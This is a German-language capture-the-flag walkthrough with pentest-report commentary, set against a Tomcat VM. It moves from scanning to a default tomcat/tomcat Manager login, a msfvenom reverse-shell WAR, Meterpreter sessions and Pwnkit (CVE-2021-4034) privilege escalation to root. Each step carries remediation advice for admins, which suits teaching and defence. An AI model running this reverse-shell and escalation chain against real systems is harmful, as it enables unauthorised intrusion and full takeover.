Die Aufklärungsphase beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk und der anschließenden Analyse der offenen Ports und Dienste.
192.168.2.122 08:00:27:1a:6b:07 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` verwendet ARP-Anfragen, um aktive Geräte im lokalen Netzwerk zu entdecken.
Bewertung: Ein aktiver Host wurde unter der IP-Adresse `192.168.2.122` erfolgreich gefunden. Die MAC-Adresse (`08:00:27:1a:6b:07`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.
Empfehlung (Pentester): Ziel-IP `192.168.2.122` notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin):** Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.
Ein Hostname wird zur lokalen Hosts-Datei hinzugefügt.
192.168.2.122 mytomcathost.vln
Analyse: Der Hostname `mytomcathost.vln` wird der IP `192.168.2.122` in der lokalen `/etc/hosts`-Datei zugeordnet.
Bewertung: Erleichtert die Ansprache des Ziels.
Empfehlung (Pentester): Den definierten Hostnamen verwenden.
Empfehlung (Admin):** Keine Aktion erforderlich.
Ein umfassender Nmap-Scan wird durchgeführt.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-21 00:39 CEST
Nmap scan report for mytomcathost.vln (192.168.2.122)
Host is up (0.00013s latency).
Not shown: 65504 filtered tcp ports (no-response), 29 filtered tcp ports (host-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey:
| 2048 61:16:10:91:bd:d7:6c:06:df:a2:b9:b5:b9:3b:dd:b6 (RSA)
| 256 0e:a4:c9:fc:de:53:f6:1d:de:a9:de:e4:21:34:7d:1a (ECDSA)
|_ 256 ec:27:1e:42:65:1c:4a:3b:93:1c:a1:75:be:00:22:0d (ED25519)
8080/tcp open http Apache Tomcat 9.0.31
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.31
MAC Address: 08:00:27:1A:6B:07 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 3.X|4.X|5.X|2.6.X (97%), Synology DiskStation Manager 5.X (90%), Netgear RAIDiator 4.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5.1 cpe:/o:linux:linux_kernel:2.6.32 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:netgear:raidiator:4.2.28
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (95%), Linux 3.16 - 4.6 (91%), Linux 4.10 (91%), Linux 4.4 (91%), Linux 2.6.32 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 - 5.8 (91%), Linux 5.0 - 5.4 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.13 ms mytomcathost.vln (192.168.2.122)
Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit umfassenden Optionen (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`). Auffällig ist die hohe Anzahl gefilterter Ports, was auf eine Firewall hindeuten könnte.
Bewertung: Der Scan findet zwei offene Ports:
Empfehlung (Pentester): Untersuchen Sie den Tomcat-Server auf Port 8080 genauer (Standard-Credentials für Manager-App? Bekannte Schwachstellen für Version 9.0.31?). Recherchieren Sie bekannte Schwachstellen für OpenSSH 6.6.1.
Empfehlung (Admin):** **Dringend:** Aktualisieren Sie OpenSSH und Apache Tomcat auf die neuesten stabilen Versionen. Überprüfen Sie die Firewall-Konfiguration.
Wir filtern die Nmap-Ausgabe nach offenen Ports.
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
8080/tcp open http Apache Tomcat 9.0.31
Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.
Bewertung: Bestätigt die beiden offenen Ports 22 und 8080.
Empfehlung (Pentester): Klare Übersicht der Angriffsvektoren.
Empfehlung (Admin):** Notwendigkeit prüfen, Dienste aktualisieren.
Wir konzentrieren uns auf den Apache Tomcat-Server auf Port 8080.
Ein Gobuster-Scan wird gegen Port 8080 durchgeführt.
http://mytomcathost.vln:8080/docs (Status: 302) [Size: 0] [--> /docs/]
http://mytomcathost.vln:8080/examples (Status: 302) [Size: 0] [--> /examples/]
Analyse: Gobuster sucht nach Verzeichnissen und Dateien auf Port 8080.
Bewertung: Findet die Standard-Tomcat-Verzeichnisse `/docs` und `/examples`. Keine weiteren benutzerdefinierten Anwendungen oder Pfade auf dieser Ebene sichtbar.
Empfehlung (Pentester): Führen Sie einen spezifischeren Scan mit Nikto oder einem anderen Tomcat-Scanner durch, um nach der Manager-App und anderen bekannten Schwachstellen zu suchen.
Empfehlung (Admin):** Entfernen Sie die `/docs`- und `/examples`-Anwendungen von Produktions-Tomcat-Servern.
Ein Nikto-Scan wird gegen Port 8080 durchgeführt.
- Nikto v2.5.0
+ Target IP: 192.168.2.122
+ Target Hostname: 192.168.2.122
+ Target Port: 8080
+ Start Time: 2023-09-21 00:41:48 (GMT2)
+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https://en.wikipedia.org/wiki/Favicon
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS .
+ HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.
+ /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2104
+ /axis2/axis2-web/HappyAxis.jsp: Apache Axis2 Happiness Page identified which includes internal application details.
+ /manager/html: Default account found for 'Tomcat Manager Application' at (ID 'tomcat', PW 'tomcat'). Apache Tomcat. See: CWE-16
+ /host-manager/html: Default Tomcat Manager / Host Manager interface found.
+ /manager/html: Tomcat Manager / Host Manager interface found (pass protected).
+ /axis2/services/Version/getVersion: Apache Axis2 version identified.
+ /axis2/services/listServices: Apache Axis2 WebServices identified.
+ /axis2/axis2-web/index.jsp: Apache Axis2 Web Application identified.
+ /host-manager/status: Default Tomcat Server Status interface found.
+ /manager/status: Tomcat Server Status interface found (pass protected).
+ 8226 requests: 0 error(s) and 17 item(s) reported on remote host
+ End Time: 2023-09-21 00:42:15 (GMT2) (27 seconds)
+ 1 host(s) tested
Analyse: Nikto scannt den Tomcat-Server auf Port 8080.
Bewertung: Nikto liefert zahlreiche wichtige Ergebnisse:
Empfehlung (Pentester): Versuchen Sie sofort, sich bei `/manager/html` mit `tomcat`/`tomcat` anzumelden. Wenn dies gelingt, können Sie WAR-Dateien (z.B. eine Reverse Shell) hochladen und bereitstellen.
Empfehlung (Admin):** **Dringend:** Ändern Sie die Standard-Passwörter für den Tomcat Manager und Host Manager oder deaktivieren Sie die Anwendungen, wenn sie nicht benötigt werden. Entfernen Sie die `/examples`- und `/docs`-Anwendungen. Deaktivieren Sie unsichere HTTP-Methoden wie PUT und DELETE, falls nicht erforderlich.
Test des Tomcat Manager Logins:
Analyse: Versuch, sich mit den Standard-Credentials `tomcat`/`tomcat` am Tomcat Manager anzumelden.
Bewertung: Erfolg! Der Login mit den Standard-Credentials funktioniert. Dies ermöglicht uns das Hochladen und Bereitstellen von WAR-Dateien.
Empfehlung (Pentester): Erstellen Sie eine WAR-Datei mit einer Reverse Shell (z.B. mit `msfvenom`) und laden Sie diese über das Manager-Interface hoch.
Empfehlung (Admin):** Standard-Passwörter sofort ändern!
Dieser Abschnitt beschreibt die Ausnutzung der schwachen Tomcat Manager-Credentials, um eine Webshell (WAR-Datei) hochzuladen und so initialen Zugriff auf das System zu erlangen.
Kurzbeschreibung: Der Nikto-Scan identifizierte den Tomcat Manager auf Port 8080 und fand heraus, dass die Standard-Credentials (`tomcat`/`tomcat`) funktionierten. Wir erstellen eine WAR-Datei, die eine Reverse Shell enthält, laden diese über den Manager hoch und lösen sie aus.
Voraussetzungen: Zugriff auf Port 8080. Funktionierende Tomcat Manager Credentials (`tomcat`/`tomcat`).
Schritt 1: Erstellen der Reverse Shell WAR-Datei
[-] No platform was selected, choosing Msf::Module::Platform::Java from the payload
[-] No arch selected, selecting arch: java from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1104 bytes
Final size of war file: 1104 bytes
Saved as: revshell.war
Analyse: `msfvenom` wird verwendet, um einen Payload zu generieren.
Bewertung: Eine `revshell.war`-Datei wurde erfolgreich erstellt. Diese enthält die Reverse Shell und kann über den Tomcat Manager bereitgestellt werden.
Empfehlung (Pentester): Laden Sie `revshell.war` über das `/manager/html`-Interface hoch. Starten Sie einen Netcat-Listener auf Port 4444.
Empfehlung (Admin):** Keine Aktion.
Schritt 2: Hochladen und Bereitstellen der WAR-Datei
1. Login to http://mytomcathost.vln:8080/manager/html with tomcat:tomcat
2. Navigate to "WAR file to deploy" section.
3. Browse and select revshell.war.
4. Click "Deploy".
5. Note the application path (e.g., /revshell).
Analyse: Die `revshell.war`-Datei wird über die Weboberfläche des Tomcat Managers hochgeladen und bereitgestellt (deployed).
Bewertung: Die bösartige Webanwendung ist nun auf dem Server aktiv und unter dem Pfad `/revshell` (oder ähnlich) erreichbar.
Empfehlung (Pentester): Starten Sie den Listener und rufen Sie die URL der bereitgestellten Anwendung auf (z.B. `http://mytomcathost.vln:8080/revshell/`), um die Reverse Shell auszulösen.
Empfehlung (Admin):** Tomcat Manager sichern!
Schritt 3: Listener starten und Shell auslösen
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 60240
Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Anschließend wird die URL der bereitgestellten WAR-Datei aufgerufen.
Bewertung: Initial Access erfolgreich! Der Listener empfängt eine Verbindung vom Zielsystem. Die Shell läuft mit den Rechten des Tomcat-Prozesses (oft ein dedizierter Benutzer wie `tomcat` oder manchmal sogar `root`).
Empfehlung (Pentester): Überprüfen Sie die Benutzerrechte in der Shell (`id`, `whoami`). Stabilisieren Sie die Shell. Beginnen Sie die lokale Enumeration.
Empfehlung (Admin):** Tomcat Manager sichern. Tomcat-Prozess mit minimalen Rechten ausführen.
Wir untersuchen das System von der erhaltenen Shell aus und werten die Sitzung zu Meterpreter auf.
Anzeigen des Root-Verzeichnisses:
total 40
dr-xr-xr-x. 17 root root 4096 Feb 21 2020 .
dr-xr-xr-x. 17 root root 4096 Feb 21 2020 ..
-rw-r--r-- 1 root root 0 Feb 21 2020 .autorelabel
lrwxrwxrwx. 1 root root 7 Feb 21 2020 bin -> usr/bin
dr-xr-xr-x. 5 root root 4096 Mar 22 2020 boot
drwxr-xr-x 18 root root 3000 Sep 20 18:37 dev
drwxr-xr-x. 82 root root 8192 Sep 20 18:37 etc
drwxr-xr-x. 2 root root 6 Jun 9 2014 home
lrwxrwxrwx. 1 root root 7 Feb 21 2020 lib -> usr/lib
lrwxrwxrwx. 1 root root 9 Feb 21 2020 lib64 -> usr/lib64
drwxr-xr-x. 2 root root 6 Jun 9 2014 media
drwxr-xr-x. 2 root root 6 Jun 9 2014 mnt
drwxr-xr-x. 2 root root 6 Jun 9 2014 opt
dr-xr-xr-x 100 root root 0 Sep 20 18:37 proc
dr-xr-x---. 3 root root 4096 Mar 22 2020 root
drwxr-xr-x 21 root root 600 Sep 20 18:37 run
lrwxrwxrwx. 1 root root 8 Feb 21 2020 sbin -> usr/sbin
drwxr-xr-x. 2 root root 6 Jun 9 2014 srv
dr-xr-xr-x 13 root root 0 Sep 20 18:49 sys
drwxrwxrwt. 9 root root 4096 Sep 20 18:37 tmp
drwxr-xr-x. 13 root root 4096 Feb 21 2020 usr
drwxr-xr-x. 20 root root 4096 Mar 22 2020 var
Analyse: Listet den Inhalt des Wurzelverzeichnisses (`/`) auf.
Bewertung: Zeigt eine typische Linux-Verzeichnisstruktur. Bestätigt, dass wir uns auf einem Linux-System befinden.
Empfehlung (Pentester): Überprüfen Sie die Benutzerrechte (`id`). Suchen Sie nach SUID-Dateien.
Empfehlung (Admin):** Keine Aktion.
Suche nach SUID-Binaries:
34180740 64 -rwsr-xr-x 1 root root 64200 Mar 6 2015 /usr/bin/chage
34180741 80 -rwsr-xr-x 1 root root 78168 Mar 6 2015 /usr/bin/gpasswd
34176724 44 -rwsr-xr-x 1 root root 41752 Mar 6 2015 /usr/bin/newgrp
34183384 44 -rwsr-xr-x 1 root root 44232 Mar 6 2015 /usr/bin/mount
34181113 24 -rws--x--x 1 root root 23960 Mar 6 2015 /usr/bin/chfn
34180862 24 -rws--x--x 1 root root 23856 Mar 6 2015 /usr/bin/chsh
34183399 32 -rwsr-xr-x 1 root root 32064 Mar 6 2015 /usr/bin/su
34183403 32 -rwsr-xr-x 1 root root 31960 Mar 6 2015 /usr/bin/umount
34355204 28 -rwsr-xr-x 1 root root 27656 Jun 9 2014 /usr/bin/pkexec
34355230 60 -rwsr-xr-x 1 root root 57536 Jul 30 2014 /usr/bin/crontab
34684832 128 -rwsr-xr-x 1 root root 130720 Mar 6 2015 /usr/bin/sudo
34645850 28 -rwsr-xr-x 1 root root 27832 Jun 10 2014 /usr/bin/passwd
67387911 12 -rwsr-xr-x 1 root root 11208 Mar 5 2015 /usr/sbin/pam_timestamp_check
67387913 36 -rwsr-xr-x 1 root root 36264 Mar 5 2015 /usr/sbin/unix_chkpwd
67565240 12 -rwsr-xr-x 1 root root 11296 Aug 8 2019 /usr/sbin/usernetctl
67576276 16 -rwsr-xr-x 1 root root 15416 Jun 9 2014 /usr/lib/polkit-1/polkit-agent-helper-1
67565195 312 -rwsr-x--- 1 root dbus 318384 Mar 5 2015 /usr/lib64/dbus-1/dbus-daemon-launch-helper
Analyse: Sucht nach Dateien mit gesetztem SUID-Bit.
Bewertung: Findet Standard-SUID-Binaries für ein CentOS 7 System. **Wichtig:** `/usr/bin/pkexec` ist vorhanden. Das Datum (Juni 2014) deutet stark auf eine für Pwnkit (CVE-2021-4034) anfällige Version hin.
Empfehlung (Pentester): Nutzen Sie einen Pwnkit-Exploit (z.B. über Metasploit), um Root-Rechte zu erlangen.
Empfehlung (Admin):** **Dringend:** Patchen Sie Polkit (CVE-2021-4034). Minimieren Sie SUID-Binaries.
Einrichtung einer Metasploit-Sitzung (optional, aber im Log vorhanden):
[*] Started reverse TCP handler on 192.168.2.199:4445
[*] Command shell session 1 opened (192.168.2.199:4445 -> 192.168.2.122:38686) at 2023-09-21 00:51:46 +0200
Shell Banner:
_[?1034hbash-4.2$
--
bash-4.2$
lport => 4441
SESSION => 1
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4441
[*] Sending stage (1017704 bytes) to 192.168.2.122
[*] Meterpreter session 2 opened (192.168.2.199:4441 -> 192.168.2.122:54998) at 2023-09-21 00:52:52 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
Analyse: Eine stabilere Shell wird via Bash TCP Redirection aufgebaut (Port 4445) und dann mit Metasploit zu einer Meterpreter-Sitzung (Session 2, Port 4441) aufgewertet.
Bewertung: Erfolgreiche Etablierung einer Meterpreter-Sitzung mit den Rechten des Tomcat-Benutzers.
Empfehlung (Pentester): Nutzen Sie die Meterpreter-Sitzung (Session 2), um den Pwnkit-Exploit auszuführen.
Empfehlung (Admin):** Ausgehende Verbindungen überwachen/einschränken.
Dieser Abschnitt beschreibt die Ausnutzung der Pwnkit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst (`pkexec`) mittels Metasploit, um Root-Rechte zu erlangen.
Kurzbeschreibung: Die lokale Enumeration identifizierte `/usr/bin/pkexec` als SUID-Root. Wir verwenden das entsprechende Metasploit-Modul über die bestehende Meterpreter-Sitzung, um eine Root-Meterpreter-Sitzung zu erhalten.
Voraussetzungen: Aktive Meterpreter-Sitzung als Tomcat-Benutzer (Session 2). Vorhandensein einer anfälligen Version von `pkexec`.
Schritt 1: Ausführung des Pwnkit-Exploits via Metasploit
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
session => 2
lport => 4443
lhost => 192.168.2.199
[*] Started reverse TCP handler on 192.168.2.199:4443
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.arxkkb
[+] The target is vulnerable.
[*] Writing '/tmp/.dspomabobrvn/civdcwwzujc/civdcwwzujc.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.dspomabobrvn
[*] Sending stage (3045380 bytes) to 192.168.2.122
[+] Deleted /tmp/.dspomabobrvn/civdcwwzujc/civdcwwzujc.so
[+] Deleted /tmp/.dspomabobrvn/.vcdrmzultla
[+] Deleted /tmp/.dspomabobrvn
[*] Meterpreter session 3 opened (192.168.2.199:4443 -> 192.168.2.122:51986) at 2023-09-21 00:53:48 +0200
Analyse: Das Pwnkit-Modul wird geladen, auf die Meterpreter-Sitzung 2 (als Tomcat-Benutzer) gesetzt und mit einem Listener auf Port 4443 ausgeführt.
Bewertung: Erfolg! Der Exploit bestätigt die Anfälligkeit und öffnet eine neue Meterpreter-Sitzung (Session 3).
Empfehlung (Pentester): Wechseln Sie zu Session 3 und überprüfen Sie die Rechte.
Empfehlung (Admin):** Dringend Polkit patchen (CVE-2021-4034).
Schritt 2: Bestätigung der Root-Rechte und Flaggen-Sammlung
Server username: root
Process 1519 created.
Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),997(tomcat)
proof.txt
Best of Luck
628435356e49f976bab2c04948d22fe4
Analyse: In der neuen Meterpreter-Sitzung (Session 3) wird `getuid` ausgeführt, was "root" zurückgibt. Eine System-Shell wird geöffnet, und `id` bestätigt die Root-Rechte. Im Root-Home-Verzeichnis wird `proof.txt` gefunden und gelesen.
Bewertung: **Privilegienerweiterung erfolgreich!** Die Root-Flagge `628435356e49f976bab2c04948d22fe4` wurde gefunden.
Empfehlung (Pentester): Suchen Sie die User-Flagge (normalerweise in einem Benutzer-Home-Verzeichnis). Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.
Risikobewertung:** Die Kombination aus Standard-Credentials für den Tomcat Manager, die das Hochladen einer WAR-Datei ermöglichten, und einer ungepatchten Pwnkit-Schwachstelle (CVE-2021-4034) stellt ein kritisches Risiko dar. Sie erlaubte einem Angreifer mit Netzwerkzugriff die Eskalation zu vollen Root-Rechten.
Empfehlungen (Zusammenfassung):**